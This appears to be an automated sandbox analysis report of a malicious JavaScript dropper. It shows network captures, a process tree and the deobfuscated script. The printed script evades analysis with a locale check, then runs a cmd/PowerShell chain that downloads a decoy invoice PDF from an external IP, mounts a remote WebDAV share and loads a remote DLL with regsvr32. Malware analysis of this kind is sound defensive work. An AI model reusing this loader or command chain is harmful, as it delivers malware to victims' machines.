Jan 11, 2025 03:16:40.543257952 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:16:40 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:16:40.543409109 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:16:40.543443918 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 03:16:40.543479919 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 03:16:40.543534040 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 03:16:40.543570995 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 03:16:40.543606997 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 03:16:40.543642044 CET	328	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 03:16:40.543674946 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 03:16:40.543711901 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 03:16:40.548582077 CET	496	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49759	193.143.1.205	8888	7100	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:16:42.565592051 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:16:43.336239100 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:16:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:16:36
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js"
Imagebase:	0x7ff76d2f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:16:36
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Imagebase:	0x7ff70e780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:16:36
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:16:36
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:16:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:16:41
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff70e780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:16:41
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff633fa0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:16:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:16:42
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:16:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1632,i,3928676631812496068,8898472451381877635,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function khorsanqk() {	khorsanqk() ➔ undefined
1	nxflfrad = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var wbngacsf = this[lqrtisne + jyqjiw + kmryvdyw + sfysarq + pwmnl + auxyps + jwldgnt + spgpn] ( this[ajbmrknho + gdrno + bxsofedeh + kmryvdyw + juhrn + lqrtisne + spgpn][reizh + kmryvdyw + pwmnl + jyqjiw + spgpn + pwmnl + qdywlnyfc + sjrbtbuo + kptvkn + pwmnl + bxsofedeh + spgpn] ( ajbmrknho + gdrno + bxsofedeh + kmryvdyw + juhrn + lqrtisne + spgpn + wkonkkmt + gdrno + vzvxvip + pwmnl + skybv + skybv ) [prwayyvl + pwmnl + vzkypc + prwayyvl + pwmnl + jyqjiw + odfja] ( kpcbh + edgpa + batgvxelz + qynvxm + dbryx + reizh + lxchsg + prwayyvl + prwayyvl + batgvxelz + juvowky + mkfsomdjv + dbryx + lxchsg + gdrno + batgvxelz + prwayyvl + sbkdyebq + reizh + llcuqt + jwldgnt + spgpn + kmryvdyw + llcuqt + skybv + nwfjkesp + jwivd + jyqjiw + jwldgnt + pwmnl + skybv + sbkdyebq + auxyps + jwldgnt + spgpn + pwmnl + kmryvdyw + jwldgnt + jyqjiw + spgpn + juhrn + llcuqt + jwldgnt + jyqjiw + skybv + sbkdyebq + yxtslbra + llcuqt + bxsofedeh + jyqjiw + skybv + pwmnl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( hrdpwhcy = 0 ; hrdpwhcy < nxflfrad[skybv + pwmnl + jwldgnt + vzkypc + spgpn + vzvxvip] ; ++ hrdpwhcy )
4	{
5	if ( wbngacsf == nxflfrad[hrdpwhcy] )
6	{
7	wbngacsf = true;
8	break ;
9	}
10	}
11	if ( wbngacsf !== true )
12	this[ajbmrknho + gdrno + bxsofedeh + kmryvdyw + juhrn + lqrtisne + spgpn][yrqpvuvph + mwoblb + juhrn + spgpn] ( );
13	this[ajbmrknho + gdrno + bxsofedeh + kmryvdyw + juhrn + lqrtisne + spgpn][reizh + kmryvdyw + pwmnl + jyqjiw + spgpn + pwmnl + qdywlnyfc + sjrbtbuo + kptvkn + pwmnl + bxsofedeh + spgpn] ( ajbmrknho + gdrno + bxsofedeh + kmryvdyw + juhrn + lqrtisne + spgpn + wkonkkmt + gdrno + vzvxvip + pwmnl + skybv + skybv ) [kmryvdyw + mwoblb + jwldgnt] ( bxsofedeh + ryrdw + odfja + nwfjkesp + ufrgza + bxsofedeh + nwfjkesp + lqrtisne + llcuqt + nzocw + pwmnl + kmryvdyw + sfysarq + vzvxvip + pwmnl + skybv + skybv + wkonkkmt + pwmnl + mfynewbhc + pwmnl + nwfjkesp + frullde + reizh + llcuqt + ryrdw + ryrdw + jyqjiw + jwldgnt + odfja + nwfjkesp + wklszp + auxyps + jwldgnt + uktxv + llcuqt + blvbxm + pwmnl + frullde + ajbmrknho + pwmnl + sjrbtbuo + prwayyvl + pwmnl + vdzkrbi + mwoblb + pwmnl + sfysarq + spgpn + nwfjkesp + frullde + qdywlnyfc + mwoblb + spgpn + itqhofvw + juhrn + skybv + pwmnl + nwfjkesp + rfcpc + spgpn + pwmnl + ryrdw + lqrtisne + rfcpc + sbkdyebq + juhrn + jwldgnt + uktxv + llcuqt + juhrn + bxsofedeh + pwmnl + wkonkkmt + lqrtisne + odfja + mimqhgyxp + nwfjkesp + vzvxvip + spgpn + spgpn + lqrtisne + lyiwazqiv + ufrgza + ufrgza + uyqvlqs + wdwyojf + fuwxgq + wkonkkmt + uyqvlqs + yfzqxm + fuwxgq + wkonkkmt + uyqvlqs + wkonkkmt + lucdhv + apnciocso + tvpxzg + ufrgza + juhrn + jwldgnt + uktxv + llcuqt + juhrn + bxsofedeh + pwmnl + wkonkkmt + lqrtisne + vzvxvip + lqrtisne + wklszp + iplluxbq + iplluxbq + sfysarq + spgpn + jyqjiw + kmryvdyw + spgpn + nwfjkesp + rfcpc + spgpn + pwmnl + ryrdw + lqrtisne + rfcpc + sbkdyebq + juhrn + jwldgnt + uktxv + llcuqt + juhrn + bxsofedeh + pwmnl + wkonkkmt + lqrtisne + odfja + mimqhgyxp + iplluxbq + iplluxbq + bxsofedeh + ryrdw + odfja + nwfjkesp + ufrgza + bxsofedeh + nwfjkesp + jwldgnt + pwmnl + spgpn + nwfjkesp + mwoblb + sfysarq + pwmnl + nwfjkesp + sbkdyebq + sbkdyebq + uyqvlqs + wdwyojf + fuwxgq + wkonkkmt + uyqvlqs + yfzqxm + fuwxgq + wkonkkmt + uyqvlqs + wkonkkmt + lucdhv + apnciocso + tvpxzg + vecgggn + ziokpifw + ziokpifw + ziokpifw + ziokpifw + sbkdyebq + odfja + jyqjiw + uktxv + nzocw + nzocw + nzocw + kmryvdyw + llcuqt + llcuqt + spgpn + sbkdyebq + iplluxbq + iplluxbq + bxsofedeh + ryrdw + odfja + nwfjkesp + ufrgza + bxsofedeh + nwfjkesp + kmryvdyw + pwmnl + vzkypc + sfysarq + uktxv + kmryvdyw + fuwxgq + lucdhv + nwfjkesp + ufrgza + sfysarq + nwfjkesp + sbkdyebq + sbkdyebq + uyqvlqs + wdwyojf + fuwxgq + wkonkkmt + uyqvlqs + yfzqxm + fuwxgq + wkonkkmt + uyqvlqs + wkonkkmt + lucdhv + apnciocso + tvpxzg + vecgggn + ziokpifw + ziokpifw + ziokpifw + ziokpifw + sbkdyebq + odfja + jyqjiw + uktxv + nzocw + nzocw + nzocw + kmryvdyw + llcuqt + llcuqt + spgpn + sbkdyebq + uyqvlqs + fuwxgq + ziokpifw + tvpxzg + apnciocso + uyqvlqs + vqxoiohxi + wdwyojf + xmcwuz + vqxoiohxi + uyqvlqs + apnciocso + vqxoiohxi + uyqvlqs + apnciocso + wkonkkmt + odfja + skybv + skybv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll",0,false) ➔ 0
14	}
15	qynvxm = "z";
16	qynvxm = "v";
17	qynvxm = "X";
18	qynvxm = "x";
19	qynvxm = "u";
20	qynvxm = "G";
21	qynvxm = "e";
22	qynvxm = "n";
23	qynvxm = "b";
24	qynvxm = "e";
25	qynvxm = "u";
26	qynvxm = "H";
27	qynvxm = "u";
28	qynvxm = "K";
29	qynvxm = "z";
30	qynvxm = "j";
31	qynvxm = "o";
32	qynvxm = "e";
33	qynvxm = "x";
34	qynvxm = "i";
35	qynvxm = "x";
36	qynvxm = "T";
37	qynvxm = "G";
38	qynvxm = "z";
39	qynvxm = "X";
40	qynvxm = "Z";
41	qynvxm = "E";
42	qynvxm = "T";
43	qynvxm = "D";
44	qynvxm = "v";
45	qynvxm = "C";
46	qynvxm = "F";
47	qynvxm = "C";
48	qynvxm = "T";
49	qynvxm = "q";
50	qynvxm = "D";
51	qynvxm = "v";
52	qynvxm = "v";
53	qynvxm = "j";
54	qynvxm = "a";
55	qynvxm = "j";
56	qynvxm = "z";
57	qynvxm = "o";
58	qynvxm = "l";
59	qynvxm = "Y";
60	odfja = "L";
61	odfja = "r";
62	odfja = "k";
63	odfja = "I";
64	odfja = "w";
65	odfja = "L";
66	odfja = "E";
67	odfja = "T";
68	odfja = "L";
69	odfja = "E";
70	odfja = "U";
71	odfja = "M";
72	odfja = "a";
73	odfja = "Q";
74	odfja = "J";
75	odfja = "w";
76	odfja = "B";
77	odfja = "o";
78	odfja = "U";
79	odfja = "v";
80	odfja = "V";
81	odfja = "K";
82	odfja = "D";
83	odfja = "J";
84	odfja = "g";
85	odfja = "W";
86	odfja = "F";
87	odfja = "B";
88	odfja = "F";
89	odfja = "a";
90	odfja = "K";
91	odfja = "C";
92	odfja = "d";
93	mkfsomdjv = "c";
94	mkfsomdjv = "m";
95	mkfsomdjv = "E";
96	mkfsomdjv = "f";
97	mkfsomdjv = "j";
98	mkfsomdjv = "I";
99	mkfsomdjv = "Q";
100	mkfsomdjv = "k";
101	mkfsomdjv = "T";
102	mkfsomdjv = "R";
103	mkfsomdjv = "T";
104	ryrdw = "F";
105	ryrdw = "V";
106	ryrdw = "l";
107	ryrdw = "O";
108	ryrdw = "H";
109	ryrdw = "m";
110	vzkypc = "i";
111	vzkypc = "D";
112	vzkypc = "v";
113	vzkypc = "o";
114	vzkypc = "v";
115	vzkypc = "Y";
116	vzkypc = "M";
117	vzkypc = "c";
118	vzkypc = "S";
119	vzkypc = "H";
120	vzkypc = "r";
121	vzkypc = "c";
122	vzkypc = "v";
123	vzkypc = "r";
124	vzkypc = "R";
125	vzkypc = "x";
126	vzkypc = "g";
127	sbkdyebq = "o";
128	sbkdyebq = "d";
129	sbkdyebq = "K";
130	sbkdyebq = "y";
131	sbkdyebq = "C";
132	sbkdyebq = "a";
133	sbkdyebq = "x";
134	sbkdyebq = "R";
135	sbkdyebq = "k";
136	sbkdyebq = "D";
137	sbkdyebq = "o";
138	sbkdyebq = "W";
139	sbkdyebq = "Q";
140	sbkdyebq = "G";
141	sbkdyebq = "S";
142	sbkdyebq = "c";
143	sbkdyebq = "P";
144	sbkdyebq = "v";
145	sbkdyebq = "o";
146	sbkdyebq = "W";
147	sbkdyebq = "Y";
148	sbkdyebq = "Q";
149	sbkdyebq = "m";
150	sbkdyebq = "I";
151	sbkdyebq = "l";
152	sbkdyebq = "F";
153	sbkdyebq = "i";
154	sbkdyebq = "h";
155	sbkdyebq = "N";
156	sbkdyebq = "\\";
157	gdrno = "G";
158	gdrno = "R";
159	gdrno = "q";
160	gdrno = "s";
161	gdrno = "d";
162	gdrno = "c";
163	gdrno = "O";
164	gdrno = "w";
165	gdrno = "U";
166	gdrno = "v";
167	gdrno = "B";
168	gdrno = "L";
169	gdrno = "D";
170	gdrno = "C";
171	gdrno = "P";
172	gdrno = "d";
173	gdrno = "D";
174	gdrno = "a";
175	gdrno = "r";
176	gdrno = "f";
177	gdrno = "Y";
178	gdrno = "X";
179	gdrno = "d";
180	gdrno = "A";
181	gdrno = "p";
182	gdrno = "k";
183	gdrno = "N";
184	gdrno = "D";
185	gdrno = "E";
186	gdrno = "Y";
187	gdrno = "M";
188	gdrno = "L";
189	gdrno = "M";
190	gdrno = "I";
191	gdrno = "Y";
192	gdrno = "z";
193	gdrno = "i";
194	gdrno = "W";
195	gdrno = "F";
196	gdrno = "G";
197	gdrno = "e";
198	gdrno = "s";
199	gdrno = "p";
200	gdrno = "S";
201	mimqhgyxp = "p";
202	mimqhgyxp = "J";
203	mimqhgyxp = "R";
204	mimqhgyxp = "m";
205	mimqhgyxp = "K";
206	mimqhgyxp = "k";
207	mimqhgyxp = "M";
208	mimqhgyxp = "f";
209	mimqhgyxp = "W";
210	mimqhgyxp = "X";
211	mimqhgyxp = "L";
212	mimqhgyxp = "s";
213	mimqhgyxp = "I";
214	mimqhgyxp = "f";
215	bxsofedeh = "t";
216	bxsofedeh = "v";
217	bxsofedeh = "I";
218	bxsofedeh = "p";
219	bxsofedeh = "c";
220	sfysarq = "n";
221	sfysarq = "N";
222	sfysarq = "d";
223	sfysarq = "n";
224	sfysarq = "c";
225	sfysarq = "U";
226	sfysarq = "f";
227	sfysarq = "q";
228	sfysarq = "p";
229	sfysarq = "W";
230	sfysarq = "J";
231	sfysarq = "c";
232	sfysarq = "U";
233	sfysarq = "p";
234	sfysarq = "n";
235	sfysarq = "w";
236	sfysarq = "A";
237	sfysarq = "o";
238	sfysarq = "t";
239	sfysarq = "K";
240	sfysarq = "q";
241	sfysarq = "T";
242	sfysarq = "Y";
243	sfysarq = "O";
244	sfysarq = "Y";
245	sfysarq = "W";
246	sfysarq = "P";
247	sfysarq = "E";
248	sfysarq = "K";
249	sfysarq = "F";
250	sfysarq = "O";
251	sfysarq = "F";
252	sfysarq = "D";
253	sfysarq = "x";
254	sfysarq = "v";
255	sfysarq = "s";
256	ziokpifw = "h";
257	ziokpifw = "b";
258	ziokpifw = "q";
259	ziokpifw = "w";
260	ziokpifw = "V";
261	ziokpifw = "g";
262	ziokpifw = "a";
263	ziokpifw = "o";
264	ziokpifw = "W";
265	ziokpifw = "a";
266	ziokpifw = "m";
267	ziokpifw = "a";
268	ziokpifw = "E";
269	ziokpifw = "n";
270	ziokpifw = "f";
271	ziokpifw = "P";
272	ziokpifw = "S";
273	ziokpifw = "l";
274	ziokpifw = "8";
275	rfcpc = "P";
276	rfcpc = "U";
277	rfcpc = "Z";
278	rfcpc = "L";
279	rfcpc = "r";
280	rfcpc = "S";
281	rfcpc = "X";
282	rfcpc = "s";
283	rfcpc = "%";
284	fuwxgq = "Z";
285	fuwxgq = "N";
286	fuwxgq = "T";
287	fuwxgq = "z";
288	fuwxgq = "M";
289	fuwxgq = "U";
290	fuwxgq = "X";
291	fuwxgq = "Y";
292	fuwxgq = "j";
293	fuwxgq = "x";
294	fuwxgq = "V";
295	fuwxgq = "N";
296	fuwxgq = "N";
297	fuwxgq = "C";
298	fuwxgq = "R";
299	fuwxgq = "a";
300	fuwxgq = "M";
301	fuwxgq = "j";
302	fuwxgq = "p";
303	fuwxgq = "s";
304	fuwxgq = "N";
305	fuwxgq = "3";
306	lqrtisne = "d";
307	lqrtisne = "l";
308	lqrtisne = "m";
309	lqrtisne = "e";
310	lqrtisne = "j";
311	lqrtisne = "J";
312	lqrtisne = "O";
313	lqrtisne = "X";
314	lqrtisne = "F";
315	lqrtisne = "G";
